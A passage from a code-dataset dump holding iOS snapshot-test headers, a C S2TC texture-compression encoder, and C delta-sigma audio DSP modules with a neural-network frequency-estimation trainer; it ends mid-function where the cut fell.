repo_name
stringlengths
5
122
path
stringlengths
3
232
text
stringlengths
6
1.05M
skylib/SnapSnapshotBase
SnapFBSnapshotBaseExample/Pods/Target Support Files/Pods-Snapshot_tests/Pods-Snapshot_tests-umbrella.h
#ifdef __OBJC__ #import <UIKit/UIKit.h> #endif FOUNDATION_EXPORT double Pods_Snapshot_testsVersionNumber; FOUNDATION_EXPORT const unsigned char Pods_Snapshot_testsVersionString[];
skylib/SnapSnapshotBase
SnapFBSnapshotBaseExample/Pods/Target Support Files/SnapFBSnapshotBase/SnapFBSnapshotBase-umbrella.h
<gh_stars>1-10 #ifdef __OBJC__ #import <UIKit/UIKit.h> #endif #import "SnapFBSnapshotBase.h" #import "SnapFBSnapshotSwiftTestCase.h" FOUNDATION_EXPORT double SnapFBSnapshotBaseVersionNumber; FOUNDATION_EXPORT const unsigned char SnapFBSnapshotBaseVersionString[];
skylib/SnapSnapshotBase
SnapFBSnapshotBaseExample/Pods/Target Support Files/Pods-SnapFBSnapshotBaseExample/Pods-SnapFBSnapshotBaseExample-umbrella.h
<filename>SnapFBSnapshotBaseExample/Pods/Target Support Files/Pods-SnapFBSnapshotBaseExample/Pods-SnapFBSnapshotBaseExample-umbrella.h #ifdef __OBJC__ #import <UIKit/UIKit.h> #endif FOUNDATION_EXPORT double Pods_SnapFBSnapshotBaseExampleVersionNumber; FOUNDATION_EXPORT const unsigned char Pods_SnapFBSnapshotBaseExampleVersionString[];
skylib/SnapSnapshotBase
SnapFBSnapshotBase/SnapFBSnapshotSwiftTestCase.h
#import <FBSnapshotTestCase/FBSnapshotTestCase-umbrella.h> @interface SnapFBSnapshotSwiftTestCase : FBSnapshotTestCase - (void)verifyView:(UIView *)view; @end
skylib/SnapSnapshotBase
SnapFBSnapshotBase/SnapFBSnapshotBase.h
#define kIphone4PortraitRect CGRectMake(0, 0, 320, 480) #define kIphone4PortraitSizeClasses @[@(UIUserInterfaceSizeClassCompact), @(UIUserInterfaceSizeClassRegular)] #define kIphone5PortraitRect CGRectMake(0, 0, 320, 568) #define kIphone5PortraitSizeClasses @[@(UIUserInterfaceSizeClassCompact), @(UIUserInterfaceSizeClassRegular)] #define kIphone6PortraitRect CGRectMake(0, 0, 375, 667) #define kIphone6PortraitSizeClasses @[@(UIUserInterfaceSizeClassCompact), @(UIUserInterfaceSizeClassRegular)] #define kIphone6PlusPortraitRect CGRectMake(0, 0, 414, 736) #define kIphone6PlusPortraitSizeClasses @[@(UIUserInterfaceSizeClassCompact), @(UIUserInterfaceSizeClassRegular)] #define kIphone4LandscapeRect CGRectMake(0, 0, 480, 320) #define kIphone4LandscapeSizeClasses @[@(UIUserInterfaceSizeClassCompact), @(UIUserInterfaceSizeClassCompact)] #define kIphone5LandscapeRect CGRectMake(0, 0, 568, 320) #define kIphone5LandscapeSizeClasses @[@(UIUserInterfaceSizeClassCompact), @(UIUserInterfaceSizeClassCompact)] #define kIphone6LandscapeRect CGRectMake(0, 0, 667, 375) #define kIphone6LandscapeSizeClasses @[@(UIUserInterfaceSizeClassCompact), @(UIUserInterfaceSizeClassCompact)] #define kIphone6PlusLandscapeRect CGRectMake(0, 0, 736, 414) #define kIphone6PlusLandscapeSizeClasses @[@(UIUserInterfaceSizeClassRegular), @(UIUserInterfaceSizeClassCompact)] #define kIpadPortraitRect CGRectMake(0, 0, 768, 1024) #define kIpadPortraitSizeClasses @[@(UIUserInterfaceSizeClassRegular), @(UIUserInterfaceSizeClassRegular)] #define kIpadLandscapeRect CGRectMake(0, 0, 1024, 768) #define kIpadLandscapeSizeClasses @[@(UIUserInterfaceSizeClassRegular), @(UIUserInterfaceSizeClassRegular)] #define kIpadMultitaskingLandscapeTwoToOneMainRect CGRectMake(0, 0, 694, 768) #define kIpadMultitaskingLandscapeTwoToOneMainSizeClasses @[@(UIUserInterfaceSizeClassRegular), @(UIUserInterfaceSizeClassRegular)] #define kIpadMultitaskingLandscapeTwoToOneAltRect CGRectMake(0, 0, 320, 768) #define kIpadMultitaskingLandscapeTwoToOneAltSizeClasses @[@(UIUserInterfaceSizeClassCompact), @(UIUserInterfaceSizeClassRegular)] #define kIpadMultitaskingLandscapeOneToOneMainAndAltRect CGRectMake(0, 0, 507, 768) #define kIpadMultitaskingLandscapeOneToOneMainAndAltSizeClasses @[@(UIUserInterfaceSizeClassCompact), @(UIUserInterfaceSizeClassRegular)] #define kIpadMultitaskingPortraitOneToOneMainRect CGRectMake(0, 0, 438, 1024) #define kIpadMultitaskingPortraitOneToOneMainSizeClasses @[@(UIUserInterfaceSizeClassCompact), @(UIUserInterfaceSizeClassRegular)] #define kIpadMultitaskingPortraitOneToOneAltRect CGRectMake(0, 0, 320, 1024) #define kIpadMultitaskingPortraitOneToOneAltSizeClasses @[@(UIUserInterfaceSizeClassCompact), @(UIUserInterfaceSizeClassRegular)] @import FBSnapshotTestCase; @interface SnapFBSnapshotBase : FBSnapshotTestCase @property (nonatomic, strong) UIViewController *sutBackingViewController; @property (nonatomic, strong) UIView *sut; @property (nonatomic, assign) BOOL recordAll; - (void)snapshotVerifyView:(UIView*)view; @end
graphitemaster/pds2tc
s2tc.c
#include <string.h> /* memcpy */ #include <assert.h> #include "s2tc.h" /* Min and max macros */ #define S2TC_MIN(A, B) (((A) < (B)) ? (A) : (B)) #define S2TC_MAX(A, B) (((A) > (B)) ? (A) : (B)) /* Right shift and round */ #define RSHIFT(A, N) (((A) + (1 << ((N) - 1))) >> (N)) /* Color subtraction */ #define CSUB(A, B, I) ((A)[(I)] - (B)[(I)]) /* Color less-than predicate */ #define CLT(A, B) \ (CSUB(A, B, 0) \ ? (CSUB(A, B, 0) < 0) \ : (CSUB(A, B, 1) \ ? (CSUB(A, B, 1) < 0) \ : (CSUB(A, B, 2) < 0))) /* Bit set utility */ #define BSET(ARRAY, INDEX, OFFSET, BIT) \ ((ARRAY)[(INDEX) / 8 + (OFFSET)] |= (BIT << ((INDEX) % 8))) /* Color distance functions */ typedef signed char s2tc_color_t[3]; static int color_dist_avg(s2tc_color_t a, s2tc_color_t b) { int dr = a[0] - b[0]; int dg = a[1] - b[1]; int db = a[2] - b[2]; return dr*dr + dg*dg + db*db; } static int color_dist_yuv(s2tc_color_t a, s2tc_color_t b) { int dr = a[0] - b[0]; int dg = a[1] - b[1]; int db = a[2] - b[2]; int y = dr * 30*2 + dg * 59 + db * 11*2; int u = dr * 202 - y; int v = db * 202 - y; return ((y*y) << 1) + RSHIFT(u*u, 3) + RSHIFT(v*v, 4); } static int color_dist_rgb(s2tc_color_t a, s2tc_color_t b) { int dr = a[0] - b[0]; int dg = a[1] - b[1]; int db = a[2] - b[2]; int y = dr * 21*2 + dg * 72 + db * 7*2; int u = dr * 202 - y; int v = db * 202 - y; return ((y*y) << 1) + RSHIFT(u*u, 3) + RSHIFT(v*v, 4); } static int color_dist_srgb(s2tc_color_t a, s2tc_color_t b) { int dr = a[0] * (int)a[0] - b[0] * (int)b[0]; int dg = a[1] * (int)a[1] - b[1] * (int)b[1]; int db = a[2] * (int)a[2] - b[2] * (int)b[2]; int y = dr * 21*2*2 + dg * 72 + db * 7*2*2; int u = dr * 409 - y; int v = db * 409 - y; int sy = RSHIFT(y, 3) * RSHIFT(y, 4); int su = RSHIFT(u, 3) * RSHIFT(u, 4); int sv = RSHIFT(v, 3) * RSHIFT(v, 4); return RSHIFT(sy, 4) + RSHIFT(su, 8) + RSHIFT(sv, 9); } static int (*color_dist_functions[])(s2tc_color_t, s2tc_color_t) = { [S2TC_RGB] = &color_dist_rgb, [S2TC_SRGB] = &color_dist_srgb, [S2TC_AVG] = &color_dist_avg, [S2TC_YUV] = &color_dist_yuv }; static int color_dist(s2tc_t *ctx, s2tc_color_t a, s2tc_color_t b) { return color_dist_functions[ctx->dist](a, b); } static int alpha_dist(unsigned char a, unsigned char b) { return (a - (int)b) * (a - (int)b); } /* Reduce colors inplace */ static void reduce_colors(s2tc_t *ctx, s2tc_color_t *colors, size_t n, size_t m) { assert(n <= 16 && m <= 16); int dists[16][16]; size_t i = 0; for (; i < n; ++i) { dists[i][i] = 0; for (size_t j = i + 1; j < n; ++j) { const int distance = color_dist(ctx, colors[i], colors[j]); dists[i][j] = distance; dists[j][i] = distance; } } for (; i < m; ++i) { for (size_t j = 0; j < n; ++j) dists[i][j] = color_dist(ctx, colors[i], colors[j]); } size_t besti = 0; size_t bestj = 0; int bestsum = -1; for (i = 0; i < m; ++i) { for (size_t j = i + 1; j < m; ++j) { int sum = 0; for (size_t k = 0; k < n; ++k) sum += S2TC_MIN(dists[i][k], dists[j][k]); if (bestsum < 0 || sum < bestsum) { bestsum = sum; besti = i; bestj = j; } } } if (besti != 0) memcpy(&colors[0], &colors[besti], sizeof(s2tc_color_t)); if (bestj != 1) memcpy(&colors[1], &colors[bestj], sizeof(s2tc_color_t)); } static void reduce_colors_alpha(unsigned char *colors, size_t n, size_t m) { assert(n <= 16 && m <= 16); int dists[16][16+2]; size_t i = 0; for (; i < n; ++i) { dists[i][i] = 0; for (size_t j = i + 1; j < n; ++j) { const int distance = alpha_dist(colors[i], colors[j]); dists[i][j] = distance; dists[j][i] = distance; } } for (; i < m; ++i) for (size_t j = 0; j < n; ++j) dists[i][j] = alpha_dist(colors[i], colors[j]); for (size_t j = 0; j < n; ++j) dists[m][j] = alpha_dist(0, colors[j]); for (size_t j = 0; j < n; ++j) dists[m+1][j] = alpha_dist(255, colors[j]); size_t besti = 0; size_t bestj = 1; int bestsum = -1; for (i = 0; i < m; ++i) { for (size_t j = i + 1; j < m; ++j) { int sum = 0; for (size_t k = 0; k < n; ++k) { const int di = dists[i][k]; const int dj = dists[j][k]; const int d0 = dists[m][k]; const int d1 = dists[m+1][k]; const int m0 = S2TC_MIN(di, dj); const int m1 = S2TC_MIN(d0, d1); sum += S2TC_MIN(m0, m1); } if (bestsum < 0 || sum < bestsum) { bestsum = sum; besti = i; bestj = j; } } } if (besti != 0) memcpy(&colors[0], &colors[besti], sizeof(s2tc_color_t)); if (bestj != 1) memcpy(&colors[1], &colors[bestj], sizeof(s2tc_color_t)); } void s2tc_encode_block(s2tc_t *ctx, unsigned char *out, const unsigned char *rgba, size_t iw, size_t w, size_t h) { s2tc_color_t colors[16]; unsigned char alpha[16]; size_t n = 0; size_t m = 0; for (size_t x = 0; x < w; ++x) { for (size_t y = 0; y < h; ++y, ++n) { colors[n][0] = rgba[(x + y * iw) * 4 + 2]; colors[n][1] = rgba[(x + y * iw) * 4 + 1]; colors[n][2] = rgba[(x + y * iw) * 4 + 0]; if (ctx->dxt == S2TC_DXT5) alpha[n] = rgba[(x + y * iw) * 4 + 3]; } } m = n; reduce_colors(ctx, colors, n, m); if (ctx->dxt == S2TC_DXT5) { reduce_colors_alpha(alpha, n, m); if (alpha[1] < alpha[0]) { alpha[2] = alpha[0]; alpha[0] = alpha[1]; alpha[1] = alpha[2]; } } if (CLT(colors[0], colors[1])) { memcpy(&colors[2], &colors[0], sizeof(s2tc_color_t)); memcpy(&colors[0], &colors[1], sizeof(s2tc_color_t)); memcpy(&colors[1], &colors[2], sizeof(s2tc_color_t)); } memset(out, 0, ctx->dxt == S2TC_DXT1 ? 8 : 16); switch (ctx->dxt) { case S2TC_DXT5: out[0] = alpha[0]; out[1] = alpha[1]; /* fall-through */ case S2TC_DXT3: out[8] = ((colors[0][1] & 0x07) << 5) | colors[0][2]; out[9] = (colors[0][0] << 3) | (colors[0][1] >> 3); out[10] = ((colors[1][1] & 0x07) << 5) | colors[1][2]; out[11] = (colors[1][0] << 3) | (colors[1][1] >> 3); break; case S2TC_DXT1: out[0] = ((colors[0][1] & 0x07) << 5) | colors[0][2]; out[1] = (colors[0][0] << 3) | (colors[0][1] >> 3); out[2] = ((colors[1][1] & 0x07) << 5) | colors[1][2]; out[3] = (colors[1][0] << 3) | (colors[1][1] >> 3); break; } for (size_t x = 0; x < w; ++x) { for (size_t y = 0; y < h; ++y) { size_t index = x + y * 4; colors[2][0] = rgba[(x + y * iw) * 4 + 2]; colors[2][1] = rgba[(x + y * iw) * 4 + 1]; colors[2][2] = rgba[(x + y * iw) * 4 + 0]; alpha[2] = rgba[(x + y * iw) * 4 + 3]; int alphadist[4]; switch (ctx->dxt) { case S2TC_DXT5: #define ALPHA_LTEQ(X, Y) (alphadist[(X)] <= alphadist[(Y)]) alphadist[0] = alpha_dist(alpha[0], alpha[2]); alphadist[1] = alpha_dist(alpha[1], alpha[2]); alphadist[2] = alpha_dist(0, alpha[2]); alphadist[3] = alpha_dist(255, alpha[2]); if (ALPHA_LTEQ(2, 0) && ALPHA_LTEQ(2, 1) && ALPHA_LTEQ(2, 3)) { BSET(out, index * 3 + 1, 2, 1); BSET(out, index * 3 + 2, 2, 1); } else if (ALPHA_LTEQ(3, 0) && ALPHA_LTEQ(3, 1)) { BSET(out, index * 3 + 0, 2, 1); BSET(out, index * 3 + 1, 2, 1); BSET(out, index * 3 + 2, 2, 1); } else if (ALPHA_LTEQ(0, 1)) { /* nothing */ } else { BSET(out, index * 3 + 0, 2, 1); } if (color_dist(ctx, colors[0], colors[2]) > color_dist(ctx, colors[1], colors[2])) BSET(out, index * 2, 12, 1); break; case S2TC_DXT3: BSET(out, index * 4, 0, alpha[2]); if (color_dist(ctx, colors[0], colors[2]) > color_dist(ctx, colors[1], colors[2])) BSET(out, index * 2, 12, 1); break; case S2TC_DXT1: if (!alpha[2]) BSET(out, index * 2, 4, 3); else if (color_dist(ctx, colors[0], colors[2]) > color_dist(ctx, colors[1], colors[2])) BSET(out, index * 2, 4, 1); break; } } } }
graphitemaster/pds2tc
s2tc.h
#ifndef S2TC_HDR #define S2TC_HDR #include <stddef.h> #ifdef __cplusplus extern "C" { #endif /*!__cplusplus*/ /** * Type: s2tc_dxt_mode_t * The DXT mode to use for a context */ typedef enum { S2TC_DXT1, S2TC_DXT3, S2TC_DXT5 } s2tc_dxt_mode_t; /** * Type: s2tc_dist_mode_t * The color distance mode to use for a context. */ typedef enum { S2TC_RGB, S2TC_SRGB, S2TC_YUV, S2TC_AVG } s2tc_dist_mode_t; /** * Type: s2tc_t * A context for S2TC. * * To be filled out with a DXT and color distance mode before encoding blocks. */ typedef struct { s2tc_dxt_mode_t dxt; /** DXT mode */ s2tc_dist_mode_t dist; /** Color distance mode */ } s2tc_t; /** * Function: s2tc_encode_block * Encode a block of RGBA5658. * * Parameters: * ctx - context * out - 16 byte storage for the block * rgba - pointer to RGBA data for this block * iw - image width * w - width * h - height */ void s2tc_encode_block(s2tc_t *ctx, unsigned char *out, const unsigned char *rgba, size_t iw, size_t w, size_t h); /* Missing refinement and rgb565-ification */ #ifdef __cplusplus } #endif /*!__cplusplus*/ #endif
dariosanfilippo/bitstream_ANN_DSP
dsm.h
<gh_stars>1-10 /* * ***************************************************************************** * * Delta-sigma modulators. * * ***************************************************************************** */ #ifndef DSM #define DSM void dsm1(Sig* in, Sig* out, size_t in_vec_id, size_t out_vec_id); void dsm2(Sig* in, Sig* out, size_t in_vec_id, size_t out_vec_id); void dsm3(Sig* in, Sig* out, size_t in_vec_id, size_t out_vec_id); #endif
dariosanfilippo/bitstream_ANN_DSP
osc.h
<filename>osc.h /* * ***************************************************************************** * * Oscillators * * ***************************************************************************** */ #ifndef OSC #define OSC #define TWOPI 2.0 * M_PI void sine(size_t sr, audio amp, audio freq, audio phase, Sig* out, size_t out_vec_id); #endif
dariosanfilippo/bitstream_ANN_DSP
random.c
/* Unit-bounded floatng-point random numbers. */ #include "random.h" audio frand(void) { return rand() / (audio) RAND_MAX; }
dariosanfilippo/bitstream_ANN_DSP
tests/fulladder_test.c
<reponame>dariosanfilippo/bitstream_ANN_DSP #include <stdlib.h> #include <stdio.h> #include <math.h> #include <string.h> #include <stdbool.h> #include <assert.h> #include "signals.c" #include "osc.c" #include "dsm.c" #include "bitmath.c" int main(void) { FILE *fptr; fptr = fopen("fa.csv", "w+"); size_t len = 8; size_t SR = 192000; audio fa_ins[3][8] = { {0, 0, 0, 0, 1, 1, 1, 1}, {0, 0, 1, 1, 0, 0, 1, 1}, {0, 1, 0, 1, 0, 1, 0, 1} }; Sig* in = malloc(sizeof(Sig)); Sig* out = malloc(sizeof(Sig)); sig_alloc(in, 3, len, SR); sig_alloc(out, 2, len, SR); for (size_t i = 0; i < 3; i++) { for (size_t j = 0; j < in->vec_len; j++) { in->vec_space[i][j] = fa_ins[i][j]; } } fulladder(in, in, in, out, out, 0, 1, 2, 0, 1); for (int i = 0; i < in->vec_len; i++) { fprintf(fptr, "%f, %f\n", out->vec_space[0][i], out->vec_space[1][i]); } sig_free(in); sig_free(out); fclose(fptr); return EXIT_SUCCESS; }
dariosanfilippo/bitstream_ANN_DSP
osc.c
/******************************************************************************* * * Sinusoidal oscillator. * * Copyright (c) <NAME> 2021. * *******************************************************************************/ #include "osc.h" void sine(size_t sr, audio amp, audio freq, audio phase, Sig* out, size_t out_vec_id) { /* calculate incremental value */ audio incr = (TWOPI * freq) / (audio) sr; audio ph = phase; for (size_t i = 0; i < out->vec_len; i++) { out->vec_space[out_vec_id][i] = amp * sin(ph); /* increment phase and wrap around */ ph += incr; if (ph >= TWOPI) ph -= TWOPI; if (ph < 0.0) ph += TWOPI; } }
dariosanfilippo/bitstream_ANN_DSP
freq_est_uni.c
/******************************************************************************* * * This file is used to train and test unipolar networks for the estimation * of the frequency in DSM sinusoids with different frequency, amplitude, * and phase values. These networks, in particular, are used with the * ReLU and sigmoid activation functions. * * Copyright (c) <NAME> 2021 * ******************************************************************************/ #include <stdlib.h> #include <stdio.h> #include <math.h> #include <string.h> #include <stdbool.h> #include <assert.h> #include <time.h> #include "signals.c" #include "random.c" #include "osc.c" #include "dsm.c" #include "bitmath.c" #include "data.c" #include "kann.c" #include "kautodiff.c" int main(void) { srand(time(0)); kad_node_t* t; kann_t* ann; size_t inputs = 1024; size_t outputs = 1; size_t num_layers = 4; size_t neurons = 64; size_t SR = 192000; /* Create the neural network */ t = kann_layer_input(inputs); for (size_t i = 0; i < num_layers; i++) { t = kann_layer_dense(t, neurons); t = kad_sigm(t); } t = kann_layer_cost(t, outputs, KANN_C_MSE); ann = kann_new(t, 0); /* Create training data set */ size_t setsize = 65536; Sig* x = malloc(sizeof(Sig)); Sig* y = malloc(sizeof(Sig)); sig_alloc(x, setsize, inputs, SR); sig_alloc(y, setsize, outputs, SR); freq_est_data(x, y); for (size_t i = 0; i < setsize; i++) { bi2uni(x, x, i, i); } /* Train the net */ float lr = .001, frac_val = .1; size_t mini_size = 32; size_t max_epoch = 500; size_t max_drop_streak = 20; kann_train_fnn1(ann, lr, mini_size, max_epoch, max_drop_streak, frac_val, setsize, x->vec_space, y->vec_space); sig_free(x); sig_free(y); /* CSV file setup */ char fname[256]; sprintf(fname, "inputs%zuoutputs%zulayers%zuneurons%zuset%zulearningrate%f.csv", inputs, outputs, num_layers, neurons, setsize, lr); FILE* csv; csv = fopen(fname, "w+"); /* Test the net */ size_t testsize = 100; x = malloc(sizeof(Sig)); y = malloc(sizeof(Sig)); sig_alloc(x, testsize, inputs, SR); sig_alloc(y, testsize, outputs, SR); const float* output; freq_est_data(x, y); for (size_t i = 0; i < testsize; i++) { bi2uni(x, x, i, i); } for (size_t j = 0; j < testsize; j++) { output = kann_apply1(ann, x->vec_space[j]); printf("Target: %.10f; prediction: %.10f; error factor: %.10f\n", y->vec_space[j][0], *output, 1 - y->vec_space[j][0] / *output); fprintf(csv, "%f, %f\n", y->vec_space[j][0], 1 - y->vec_space[j][0] / *output); } sig_free(x); sig_free(y); fclose(csv); return EXIT_SUCCESS; }
dariosanfilippo/bitstream_ANN_DSP
data.h
/******************************************************************************* * * This module contains functions for the generation of training and * test data for frequency and amplitude estimation, and sum and * multiplication operations. * * Copyright (c) <NAME> 2021. * *******************************************************************************/ #ifndef DATA #define DATA void freq_est_data(Sig* in, Sig* out); void amp_est_data(Sig* in, Sig* out); void adder_data(Sig* in, Sig* out); void mul_data(Sig* in, Sig* out); #endif
dariosanfilippo/bitstream_ANN_DSP
bitmath.h
<reponame>dariosanfilippo/bitstream_ANN_DSP<gh_stars>1-10 /******************************************************************************* * * This module contains delta-sigma arithmetic operators. * * Reference: * <NAME> (2009) -- Bit-stream signal processing on FPGA. * http://hub.hku.hk/handle/10722/54513 * * Copyright (c) <NAME> 2021. * *******************************************************************************/ #ifndef BITMATH #define BITMATH typedef struct FullAdder FullAdder; void fulladder(Sig* in0, Sig* in1, Sig* in2, Sig* out0, Sig* out1, size_t in_vec_id0, size_t in_vec_id1, size_t in_vec_id2, size_t out_vec_id0, size_t out_vec_id1); FullAdder fulladder_samplewise(bool in0, bool in1, bool c_in); void binaryadder(Sig* in0, Sig* in1, Sig* out, size_t in_vec_id0, size_t in_vec_id1, size_t out_vec_id); bool binaryadder_samplewise(bool in0, bool in1, bool* state); void binarymultiplier(Sig* in0, Sig* in1, Sig* out, size_t in_vec_id0, size_t in_vec_id1, size_t out_vec_id); void bi2uni(Sig* in, Sig* out, size_t in_vec_id, size_t out_vec_id); void uni2bi(Sig* in, Sig* out, size_t in_vec_id, size_t out_vec_id); #endif
dariosanfilippo/bitstream_ANN_DSP
bitmath.c
/******************************************************************************* * * This module contains delta-sigma arithmetic operators. * * Reference: * Ch<NAME> (2009) -- Bit-stream signal processing on FPGA. * http://hub.hku.hk/handle/10722/54513 * * Copyright (c) <NAME> 2021. * *******************************************************************************/ #include "bitmath.h" struct FullAdder { bool sum; bool c_out; }; /* Full adder; see https://en.wikipedia.org/wiki/Adder_(electronics) for the * truth table */ void fulladder(Sig* in0, Sig* in1, Sig* in2, Sig* out0, Sig* out1, size_t in_vec_id0, size_t in_vec_id1, size_t in_vec_id2, size_t out_vec_id0, size_t out_vec_id1) { assert((in0->vec_len == in1->vec_len) & (in1->vec_len == in2->vec_len) & (in2->vec_len == out0->vec_len) & (out0->vec_len == out1->vec_len)); bool _in0; bool _in1; bool c_in; bool sum; bool c_out; for (size_t i = 0; i < in0->vec_len; i++) { _in0 = in0->vec_space[in_vec_id0][i] > 0; _in1 = in1->vec_space[in_vec_id1][i] > 0; c_in = in2->vec_space[in_vec_id2][i] > 0; sum = (_in0 ^ _in1) ^ c_in; c_out = (_in0 & _in1) | ((_in0 ^ _in1) & c_in); out0->vec_space[out_vec_id0][i] = (audio) sum == 0 ? -1.0 : 1.0; out1->vec_space[out_vec_id1][i] = (audio) c_out == 0 ? -1.0 : 1.0; } } /* Full adder for sample-by-sample calculations */ FullAdder fulladder_samplewise(bool in0, bool in1, bool c_in) { FullAdder fa; fa.sum = (in0 ^ in1) ^ c_in; fa.c_out = (in0 & in1) | ((in0 ^ in1) & c_in); return fa; } /* Delta-sigma streams adder */ void binaryadder(Sig* in0, Sig* in1, Sig* out, size_t in_vec_id0, size_t in_vec_id1, size_t out_vec_id) { assert((in0->vec_len == in1->vec_len) & (in1->vec_len == out->vec_len)); bool state = 0; bool _in0; bool _in1; bool c_in; bool sum; bool c_out; for (size_t i = 0; i < in0->vec_len; i++) { _in0 = in0->vec_space[in_vec_id0][i] > 0; _in1 = in1->vec_space[in_vec_id1][i] > 0; c_in = state; sum = (_in0 ^ _in1) ^ c_in; c_out = (_in0 & _in1) | ((_in0 ^ _in1) & c_in); state = sum; out->vec_space[out_vec_id][i] = (audio) c_out == 0 ? -1.0 : 1.0; } } /* As above but sample-wise */ bool binaryadder_samplewise(bool in0, bool in1, bool* state) { FullAdder fa = fulladder_samplewise(in0, in1, *state); *state = fa.sum; return fa.c_out; } /* Delta-sigma multiplication; this implements figure 2.5 of the thesis * referenced above */ void binarymultiplier(Sig* in0, Sig* in1, Sig* out, size_t in_vec_id0, size_t in_vec_id1, size_t out_vec_id) { assert((in0->vec_len == in1->vec_len) & (in1->vec_len == out->vec_len)); Sig* xor = malloc(sizeof(Sig)); Sig* sum = malloc(sizeof(Sig)); sig_alloc(xor, 16, in0->vec_len, in0->sr); sig_alloc(sum, 14, in0->vec_len, in0->sr); bool temp; /* the loops below compute the vectors corresponding to the * 16 outputs of the xor operators */ for (size_t i = 0; i < 4; i++) { for (size_t j = 0; j < 4; j++) { for (size_t k = 3; k < in0->vec_len; k++) { temp = (in0->vec_space[in_vec_id0][k - i] > 0) ^ (in1->vec_space[in_vec_id1][k - j] > 0); xor->vec_space[j + i * 4][k] = temp ? 1.0 : -1.0; } } } /* the loops below sum all of the signals for the final output */ for (size_t i = 0; i < 8; i++) { binaryadder(xor, xor, sum, i * 2, i * 2 + 1, i); } for (size_t i = 0; i < 4; i++) { binaryadder(sum, sum, sum, i * 2, i * 2 + 1, i + 8); } for (size_t i = 0; i < 2; i++) { binaryadder(sum, sum, sum, i * 2 + 8, i * 2 + 8 + 1, i + 12); } binaryadder(sum, sum, out, 12, 13, out_vec_id); sig_free(xor); sig_free(sum); } void bi2uni(Sig* in, Sig* out, size_t in_vec_id, size_t out_vec_id) { assert(in->vec_len == out->vec_len); for (size_t i = 0; i < in->vec_len; i++) { out->vec_space[out_vec_id][i] = in->vec_space[in_vec_id][i] > 0 ? 1.0 : 0.0; } } void uni2bi(Sig* in, Sig* out, size_t in_vec_id, size_t out_vec_id) { assert(in->vec_len == out->vec_len); for (size_t i = 0; i < in->vec_len; i++) { out->vec_space[out_vec_id][i] = in->vec_space[in_vec_id][i] > 0.5 ? 1.0 : -1.0; } }
dariosanfilippo/bitstream_ANN_DSP
random.h
/* Unit-bounded floatng-point random numbers. */ audio frand(void);
dariosanfilippo/bitstream_ANN_DSP
signals.h
/******************************************************************************* * * This module implements an infrastructure to operate with signals * based on a vector space representation. * * Copyright (c) <NAME> 2021. * ******************************************************************************/ #ifndef SIGNALS #define SIGNALS #define RESO 32 #if RESO == 32 # define audio float #elif RESO == 64 # define audio double #else #error invalid resolution: it must be 32 or 64 bits. #endif typedef struct Sig Sig; void sig_alloc(Sig* sig, size_t dim, size_t len, size_t srate); void sig_free(Sig* sig); void sig_set_const(Sig* sig, size_t vec_id, audio val); void sig_print_sample(Sig* sig, size_t vec_id, size_t sample_id); void sig_print_vec(Sig* sig, size_t vec_id); void sig_print_space(Sig* sig); size_t sig_getdim(Sig* sig); size_t sig_getlen(Sig* sig); #endif
dariosanfilippo/bitstream_ANN_DSP
signals.c
<reponame>dariosanfilippo/bitstream_ANN_DSP /******************************************************************************* * * This module implements an infrastructure to operate with signals * based on a vector space representation. * * Copyright (c) <NAME> 2021. * ******************************************************************************/ #include "signals.h" struct Sig { audio** vec_space; size_t space_dim; size_t vec_len; size_t sr; }; /* Allocate a space of "dim" vectors of size "len" samples initialised to 0 */ void sig_alloc(Sig* sig, size_t dim, size_t len, size_t srate) { sig->vec_space = malloc(dim * sizeof(audio*)); for (size_t i = 0; i < dim; i++) { sig->vec_space[i] = malloc(len * sizeof(audio)); for (size_t j = 0; j < len; j++) { sig->vec_space[i][j] = 0.0; } } sig->space_dim = dim; sig->vec_len = len; sig->sr = srate; } /* Free signals memory after use */ void sig_free(Sig* sig) { for (size_t i = 0; i < sig->space_dim; i++) { free(sig->vec_space[i]); } free(sig->vec_space); } /* Set a specific vector to a constant value */ void sig_set_const(Sig* sig, size_t vec_id, audio val) { assert(vec_id < sig->space_dim); for (size_t i = 0; i < sig->vec_len; i++) { sig->vec_space[vec_id][i] = val; } } /* Print a specific sample from a specific vector on screen */ void sig_print_sample(Sig* sig, size_t vec_id, size_t sample_id) { assert((vec_id < sig->space_dim) & (sample_id < sig->vec_len)); printf("Vec %zu, sample %zu: %.20f\n", vec_id, sample_id, sig->vec_space[vec_id][sample_id]); } /* Print a specific vector on screen */ void sig_print_vec(Sig* sig, size_t vec_id) { assert(vec_id < sig->space_dim); for (size_t i = 0; i < sig->vec_len; i++) { printf("Vec %zu, sample %zu: %.20f\n", vec_id, i, sig->vec_space[vec_id][i]); } } /* Print an entire space on screen */ void sig_print_space(Sig* sig) { for (size_t i = 0; i < sig->space_dim; i++) { for (size_t j = 0; j < sig->vec_len; j++) { printf("Vec %zu, sample %zu: %.20f\n", i, j, sig->vec_space[i][j]); } } }
dariosanfilippo/bitstream_ANN_DSP
dsm.c
/******************************************************************************* * * This file contains first, second, and third-order delta-sigma * modulators for multi-bit to one-bit conversion. * * While the first-order modulator is stable for any signal in the * full-scale digital amplitude, order-two and order-three modulators * may result in distorted or unstable behaviours and should be used * with input signals up to about 75% of the full amplitude scale. * * For best performance, 50% amplitude peaks should be used combined * with oversampling to overcome the 6 dB loss in the signal-to-noise * ratio. * * Copyright (C) <NAME> 2021 – <EMAIL>. * ******************************************************************************/ #include "dsm.h" /* First-order DSM */ void dsm1(Sig* in, Sig* out, size_t in_vec_id, size_t out_vec_id) { assert(in->vec_len == out->vec_len); audio state = 0.0; audio integrator = 0.0; for (size_t i = 0; i < in->vec_len; i++) { integrator += in->vec_space[in_vec_id][i] - state; out->vec_space[out_vec_id][i] = state = integrator < 0.0 ? -1.0 : 1.0; } } /* Second-order DSM */ void dsm2(Sig* in, Sig* out, size_t in_vec_id, size_t out_vec_id) { assert(in->vec_len == out->vec_len); audio state = 0.0; audio integrator1 = 0.0; audio integrator2 = 0.0; for (size_t i = 0; i < in->vec_len; i++) { integrator1 += in->vec_space[in_vec_id][i] - state; integrator2 += integrator1 - state * 2.0; out->vec_space[out_vec_id][i] = state = integrator2 < 0.0 ? -1.0 : 1.0; } } /* Third-order DSM */ void dsm3(Sig* in, Sig* out, size_t in_vec_id, size_t out_vec_id) { assert(in->vec_len == out->vec_len); audio state = 0.0; audio integrator1 = 0.0; audio integrator2 = 0.0; audio integrator3 = 0.0; audio c1 = 1.0 / 4.0; audio c2 = 1.0 / 3.0; audio c3 = 1.0 / 8.0; for (size_t i = 0; i < in->vec_len; i++) { integrator1 += in->vec_space[in_vec_id][i] * c1 - state * c1; integrator2 += integrator1 * c2 - state * c2; 